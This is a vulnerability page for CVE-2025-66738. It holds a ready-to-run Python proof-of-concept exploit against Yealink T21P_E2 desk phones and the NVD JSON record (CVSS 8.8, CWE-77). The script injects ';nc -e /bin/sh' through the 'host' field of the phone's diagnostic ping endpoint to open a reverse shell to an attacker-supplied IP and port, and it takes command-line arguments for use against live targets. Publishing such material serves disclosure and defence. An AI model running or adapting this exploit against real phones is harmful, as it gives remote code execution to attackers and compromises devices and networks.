CVE-2025-66738

import requests import sys # CVE-2025-66738 PoC - Yealink T21P_E2 Phone RCE via ping function # Target: Yealink T21P_E2 Phone (Firmware <= 52.84.0.15) def exploit(target_ip, attacker_ip, attacker_port=4444): """ Exploit the ping function in diagnostic component to achieve remote code execution """ # Construct malicious payload to trigger reverse shell # Using netcat to connect back to attacker payload = f";nc -e /bin/sh {attacker_ip} {attacker_port}" # Target endpoint (typical diagnostic ping function) url = f"http://{target_ip}/servlet?m=mod_tcp&op=ping" # Prepare malicious request data = { 'host': payload, 'count': '1', 'packet_size': '64' } try: print(f"[*] Sending exploit payload to {target_ip}...") response = requests.post(url, data=data, timeout=10) print(f"[+] Payload sent. Check your listener on port {attacker_port}") print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <attacker_ip> [port]") sys.exit(1) target = sys.argv[1] attacker = sys.argv[2] port = int(sys.argv[3]) if len(sys.argv) > 3 else 4444 exploit(target, attacker, port)

{"cve": {"id": "CVE-2025-66738", "sourceIdentifier": "[email protected]", "published": "2025-12-26T16:15:44.260", "lastModified": "2026-01-09T20:45:18.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in Yealink T21P_E2 Phone 52.84.0.15 allows a remote normal privileged attacker to execute arbitrary code via a crafted request the ping function of the diagnostic component."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:yealink:sip-t21\\(p\\)e2_firmware:52.84.0.15:*:*:*:*:*:*:*", "matchCriteriaId": "E5998ED6-1C8F-4EF7-89D8-DC77D6D09348"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:yealink:sip-t21\\(p\\)e2:-:*:*:*:*:*:*:*", "matchCriteriaId": "4A65E5A2-5383-491F-9ACA-54A482457A95"}]}]}], "references": [{"url": "http://yealink.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://drive.google.com/file/d/13t5ywSPJMx4487njJcH3ZTNuc_k3h4ty/view?usp=sharing", "source": "[email protected]", "tags": ["Exploit"]}]}}